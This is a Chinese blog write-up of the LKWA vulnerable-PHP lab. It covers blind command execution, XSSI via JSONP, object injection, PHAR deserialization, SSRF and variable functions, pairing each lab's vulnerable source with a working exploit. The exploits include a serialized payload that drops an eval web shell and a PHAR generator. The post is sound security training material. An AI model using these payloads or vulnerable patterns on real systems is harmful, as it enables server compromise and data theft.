LKWA靶场通关和源码分析
3 分钟
一、Blind RCE?
源码:
<?php
include("sidebar.php");
/**
* Blind RCE
*/
class Rce {
private $user_input;
private $level;
function __construct() {
$this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
$this->level = isset($_POST['level']) ? $_POST['level'] : null;
}
function start() {
if (empty($this->user_input)) {
}
else{
exec($this->user_input);
}
}
}
$rce = new Rce();
if(!empty($_POST))
{
$rce->start();
}
通过exec()直接传入post的数据,进行命令执行,但是无回显,一般有几种方式,curl外带,dnglog外带,反弹shell等等,这里靶机没有curl,所有curl没法用,当然,可以通过命令执行先下载,再进行curl。
二、XSSI
源码:
session_start();
include("sidebar.php");
$file = "../api/user";
if(!isset($_SESSION['login_user'])){
header("location: index.php");
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title></title>
<script src="../jquery/jquery.min.js"></script>
<script>
function get(){
$.ajax(
{
url:"../api/user",
type:"GET",
async:true,
success:function(parse){
for (var i in parse){
$("#" + i).text(parse[i]);
}
}
}
);
}
get();
</script>
</head>
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){
$myObj = new \stdClass();
$myObj->name = "admin";
$myObj->token=time()+2*24*60*60;
$data = json_encode($myObj);
if(array_key_exists('callback', $_GET)){
header('Content-Type: text/javascript; charset=utf8');
header('Access-Control-Max-Age: 3628800');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
$callback = $_GET['callback'];
echo $callback.'('.$data.');';
}else{
// normal JSON string
header('Content-Type: application/json; charset=utf8');
echo $data;
}
}
else {
$myObj = new \stdClass();
$myObj->name = "";
$myObj->token="";
$data = json_encode($myObj);
if(array_key_exists('callback', $_GET)){
header('Content-Type: text/javascript; charset=utf8');
header('Access-Control-Max-Age: 3628800');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
$callback = $_GET['callback'];
echo $callback.'('.$data.');';
}else{
// normal JSON string
header('Content-Type: application/json; charset=utf8');
echo $data;
}
}
?>
使用admin,password登录会设置session,传到xssi.php,xssi.php中的$file指的就是api/user.php,而user.php中会用time()函数生成token,然后通过传入的callback参数输出data数据,因此可以调用/api/user触发。
<html>
<head>
<title>XSS</title>
</head>
<body>
<script>
function leak(leaked)
{
alert(JSON.stringify(leaked));
};
</script>
<script src="http://ip:3000/api/user?callback=leak" type="text/javascript"></script>
</body>
</html>
三、PHP Object Injection
源码:
<?php
class Foo{
function __construct($filename, $data) {
$this->filename = $filename . ".txt";
$this->data = $data;
}
function __destruct(){
file_put_contents($this->filename, $this->data);
}
}
?>
接收object参数,然后会反序列化object,所以可以触发destruct写入shell。
<?php
class Foo{
function __construct($filename, $data) {
$this->filename = $filename;
$this->data = $data;
}
}
$a=new Foo("/var/www/html/shell.php",'<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($a));
四、PHP Object Injection(cookie)
源码:
<?php
include("sidebar.php");
include("obj_injection.php");
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$object = new stdClass();
$object->user = $username;
$data = serialize($object);
if($username === "admin" && $password === "password")
setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Test</title>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 mb-12">
<!-- Approach -->
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6>
</div>
<div class="card-body">
<form action="content.php" method="POST">
<div class="form-group">
<label for="exampleInputEmail1">Username</label>
<input type="text" class="form-control" placeholder="Enter username" name="username">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label>
<input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
if(isset($_COOKIE['username']))
{
$var = unserialize($_COOKIE['username']);
echo "<br> Welcome ".$var->user;
}
?>
</div>
</div>
</div>
</div>
<?php include("description.php"); ?>
</div>
</body>
</html>
class Foo{
public $cmd;
function __construct() {
}
function __destruct(){
eval($this->cmd);
}
}
?>
使用序列化的方式生成cookie,然后对cookie中的username进行反序列化输出,Foo类可以进行命令执行,可以通过传入username,触发eval()。
五、PHP Object Injection(Referer)
源码:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 mb-12">
<!-- Approach -->
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6>
</div>
<div class="card-body">
<form action="objectref.php" method="post">
<div class="form-group">
<label for="exampleInputEmail1">Guess</label>
<input type="text" class="form-control" placeholder="Enter number" name="guess">
<input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'>
</div>
<button type="submit" class="btn btn-primary">Submit</button>
<p>
<p class="text-danger"> Can you win this?.</p>
<?php
// vuln code
if (isset($_POST['guess'])) {
// code...
$obj = unserialize($_POST['input']);
if($obj) {
$obj->guess = $_POST['guess'];
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "<p class='text-success'>You Win !!!!!</p>";
}
else{
echo "<p class='text-danger'>Loser!!!!</p>";
}
}
}
?>
<p>
</form>
</div>
</div>
</div>
</div>
<?php include("description.php"); ?>
</div>
</body>
</html>
要我们猜的数字和随机数相等,在不知道种子和前一次结果是几乎不可能做到的,但是可以控制input,使其相等。
<?php
class A{
var $guess;
var $secretCode;
}
$a=new A();
$a->guess=$a->secretCode;
echo serialize($a);
六、PHAR
源码:
<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
if($imageFileType !== "PHAR") {
$uploadOk = 1;
} else {
echo "File is not a PHAR file.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "phar") {
echo "Sorry, only PHAR file is allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
<?php
/**
*
*/
include("sidebar.php");
class log
{
public $filename="log.txt";
public $data="log";
function __wakeup(){
file_put_contents($this->filename, $this->data);
}
}
if (file_exists($_GET['file'])) {
$var = new log();
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 mb-12">
<!-- Approach -->
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6>
</div>
<div class="card-body">
<form action="upload.php" method="post" enctype="multipart/form-data">
Select PHAR file to upload:<br><br>
<input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary">
<input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary">
</form>
</div>
</div>
</div>
</div>
<?php include("description.php"); ?>
</div>
</body>
只能传phar,明显使用phar伪协议触发log类的file_put_contents方法进行shell。
<?php
class log
{
public $filename;
public $data;
}
$a=new log();
$a->filename="/var/www/html/phpinfo.php";
$a->data="<?php phpinfo();?>";
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
七、SSRF
源码:
<?php
include("sidebar.php");
if (isset($_GET['image'])) {
# code...
echo file_get_contents($_GET['image'], true);
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<div class="container-fluid">
<!-- Page Heading -->
<div class="d-sm-flex align-items-center justify-content-between mb-4">
<h1 class="h3 mb-0 text-gray-800"></h1>
</div>
<div class="row">
<div class="col-lg-12 mb-12">
<!-- Approach -->
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">SSRF</h6>
</div>
<div class="card-body">
<form action="index.php" method="GET">
<div class="form-group">
<label for="exampleInputEmail1">Image URL</label>
<input type="text" class="form-control" placeholder="Enter url" name="image">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
<p>
</form>
<img src="<?php echo $_GET['image']; ?>">
</div>
</div>
</div>
</div>
<?php include("description.php"); ?>
</div>
</body>
</html>
八、Variables
源码:
<?php
include("sidebar.php");
?>
<!DOCTYPE html>
<html>
<head>
<title>Variables variable</title>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 mb-12">
<div class="card shadow mb-4">
<div class="card-header py-3">
<h6 class="m-0 font-weight-bold text-primary">Variables variable</h6>
</div>
<div class="card-body">
<!-- vuln form -->
<form action="variable.php" method="GET">
<div class="form-group">
<label for="exampleInputPassword1">String to dump</label>
<input type="hidden" name="func" value="var_dump">
<input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<br>
<p class="text-danger">Output:</p>
<p id="output">
<?php
if (isset($_GET['func']) && isset($_GET['input'])) {
$var = $_GET['func'];
${"var"}($_GET['input']);
}
?>
</p>
</div>
</div>
</div>
</div>
<?php include("description.php"); ?>
</div>
</body>
</html>
直接拼接了两个参数,那么就可以直接进行命令执行,但是要回显,因此可以使用passthru,当然这里也可以直接反弹shell,方式很多。
总结
简单、基础、好玩!
靶场地址:lkwa的某docker镜像地址
~ ~ The End ~ ~
分类标签:CTF,Web安全
文章标题:LKWA靶场通关和源码分析
文章链接:https://aiwin.fun/index.php/archives/2001/
最后编辑:2024 年 1 月 4 日 16:59 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:LKWA靶场通关和源码分析
文章链接:https://aiwin.fun/index.php/archives/2001/
最后编辑:2024 年 1 月 4 日 16:59 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)